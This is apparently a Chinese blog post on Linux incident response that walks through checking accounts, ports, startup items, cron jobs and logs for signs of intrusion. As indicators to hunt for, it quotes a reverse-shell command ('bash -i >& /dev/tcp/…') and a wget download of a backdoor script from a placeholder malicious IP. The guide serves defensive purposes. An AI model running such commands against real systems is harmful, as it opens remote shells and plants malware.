当前位置: 首页 > ops >正文

应急响应linux

应急响应:

  在网络安全领域,应急响应(Incident Response) 是指当网络安全事件(如黑客攻击、数据泄露、恶意软件感染等)发生时,为了最大限度减少损失、快速恢复系统正常运行、追溯事件根源并预防类似事件再次发生而采取的一系列有组织、有计划的应对措施。

  在网络威胁日益复杂的背景下,即使拥有完善的防护体系,也难以完全避免安全事件。应急响应作为 “事后补救” 的关键环节,能够快速控制损失、缩短业务中断时间,同时通过复盘持续提升组织的安全能力,是网络安全防护体系中不可或缺的一部分。

linux入侵排查

查账号:

目的:发现攻击者创建的隐藏账户、特权账户滥用、弱口令账户或异常登录行为,阻断持续控制通道。

  1. 用户与权限
    • 命令:cat /etc/passwd(列所有用户)、cat /etc/sudoers(查 sudo 权限用户)、awk -F: '$3==0 {print $1}' /etc/passwd(查 UID=0 的超级用户,正常应为 root)。
    • 重点:无家目录(如/bin/false)、登录 shell 异常(如/bin/sh而非/bin/bash)的用户,或近期新增的未知用户。
  2. 登录记录
    • 命令:last(成功登录历史)、lastb(失败登录尝试)、cat /var/log/secure(CentOS)或/var/log/auth.log(Ubuntu),分析异常 IP、高频失败登录的账号。

可以查看/etc/passwd用户信息文件是否存在异常账号存在

格式:用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell

  在这之下重点查 bin/bash,因为用bin/bash登录,说明被人添加了新用户并且可以登录。攻击者上传的后门脚本(如 reverse_shell.sh),几乎都会用 #!/bin/bash 作为解释器。查 bash 进程、启动记录,可发现脚本的执行痕迹;而用nologin大概率没被入侵,因为不能登录。

查端口:

目的:发现恶意程序监听端口、与外部 C&C 服务器(命令控制端)的连接,或未授权开放的服务端口。

  1. 命令行排查
    • netstat -tulnp 或 ss -tulnp:显示 TCP/UDP 端口及关联进程(需 root 权限)。
    • lsof -i :<端口号>:查询特定端口对应的进程。
    • 重点:非标准端口(如 3389 外的远程桌面端口、高位随机端口)、与陌生 IP 的长连接(尤其是境外 IP)。

使用 netstat 网络连接命令,分析可疑的端口,IP和PID        netstat -antlp | more

如发现异常,可以查看PID对应的进程文件路径

运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)

使用ps aux | grep pid 命令分析进程

查启动项:

目的:发现攻击者配置的恶意程序开机自启动项,阻止其持久化控制。

  1. 系统服务启动项
    • systemctl list-unit-files --type=service --state=enabled:列出开机自启服务,检查服务名称是否陌生(如 “sysupdate”“networkd” 等仿冒名)。
  2. 用户级启动项
    • /etc/rc.local(开机脚本)、/etc/profile.d/(用户登录脚本),查看是否有新增的恶意命令(如wget http://恶意IP/backdoor.sh)。
    • 用户目录:~/.bashrc ~/.profile,检查是否被植入自启动命令。

可以使用        more /etc/rc.local
                       /etc/rc.d/rc[0~6].d
                       ls -l /etc/rc.d/rc3.d/

去排查启动项文件

查定时任务※:

目的:攻击者常通过定时任务执行反弹 shell、下载恶意程序等操作,需排查隐藏的周期性任务。

  1. 系统级定时任务
    • crontab -l(当前用户任务)、cat /etc/crontab(系统全局任务)。
    • 目录排查:/etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/,检查是否有陌生脚本(如文件名随机、权限异常)。
  2. 异常特征
    • 任务内容含wget curl下载恶意文件、bash -i >& /dev/tcp/恶意IP/端口 0>&1(反弹 shell)等命令。

使用crontab 创建计划任务

crontab -l   列出某个用户cron服务的详细内容

             -r   删除每个用户cront任务(谨慎:删除所有的计划任务)

             -e  使用编辑器编辑当前的crontab文件 

如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件“hello world”传入tmp下的test.txt

也可以利用anacron命令实现异步定时任务调度

如:每天运行/home/shell.sh脚本

        vi /etc/anacrontab

        @daily    5    example.daily   /bin/bash /home/backup.sh
当机器在 backup.sh 期望被运行时是关机的,anacron会在机器开机5分钟之后运行它,而不用再等待 7天。

重点排查以下目录中是否存在恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

可以使用 more /etc/cron.daily/*  查看目录下所有文件

进到 /etc/cron.daily/* 

                         

这个轮转服务的功能:把每天的日志传到日志服务器。

查日志

目的:通过日志还原攻击时间线、定位入侵点(如漏洞利用、社工攻击),为溯源提供依据。

  1. 系统日志
    • /var/log/messages(系统消息):查内核事件、服务启动失败(可能因恶意程序占用端口)。
  2. 应用日志
    • Nginx/Apache 日志(/var/log/nginx/access.log):分析 Web 请求中的攻击特征(如/etc/passwd路径遍历)。

日志的默认存放位置为:/var/log

查看日志的配置情况:more /etc/rsyslog.conf

如图:

日志文件说明
/var/log/btmp记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 重点※永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
http://www.xdnf.cn/news/17127.html

相关文章:

  • DDoS 防护的未来趋势:AI 如何重塑安全行业?
  • 深入理解SpringMVC DispatcherServlet源码及全流程原理
  • Flink CDC如何保障数据的一致性?
  • 亚矩阵云手机:解锁 Shopee/Lazada 东南亚电商运营“通关密码
  • WordPress自定义.js文件排序实现方法
  • Unity里的对象旋转数值跳转问题的原理与解决方案
  • Spring Boot集成方案 + Elasticsearch向量检索,语义搜索核弹
  • Linux seLinux
  • AI大语言模型如何重塑软件开发与测试流程
  • 3D开发引擎HOOPS赋能AEC领域:可视化技术助力建筑数字化转型!
  • Promise
  • 【JS-7-ajax】AJAX技术:现代Web开发的异步通信核心
  • Python包管理新利器:uv全面解析与Conda对比指南
  • 一文读懂:什么是CLIP
  • Redis集群核心原理与实战解析
  • C语言的数组与字符串练习题2
  • 【前端开发】四. JS内置函数
  • 5G毫米波射频前端测试:OTA暗室与波束成形性能验证
  • RuoYi-Cloud 微服务本地部署详细流程实录(IDEA + 本地 Windows 环境)
  • 商派小程序商城(小程序/官网/APP···)的范式跃迁与增长再想象
  • 参考线程池构建一个高性能、配置驱动的Docker容器池
  • 基于Simulink/MWORKS的文字与开关量混合传输系统设计
  • [LVGL] 部件lv_obj | 样式lv_style | LV_PART_ | LV_STATE_
  • Cartographer安装测试与模块开发(四)--Cartographer纯定位思路
  • Linux基本指令:掌握系统操作的钥匙
  • 浅谈RNN被Transformer 取代的必然性
  • 面试题:基础的sql命令
  • 在LLM小型化趋势下,AI Infra需要做出哪些相应调整?
  • 【完整源码+数据集+部署教程】爬行动物异常检测系统源码和数据集:改进yolo11-GhostDynamicConv
  • JavaScript 中 var、let 和 const 的区别与使用场景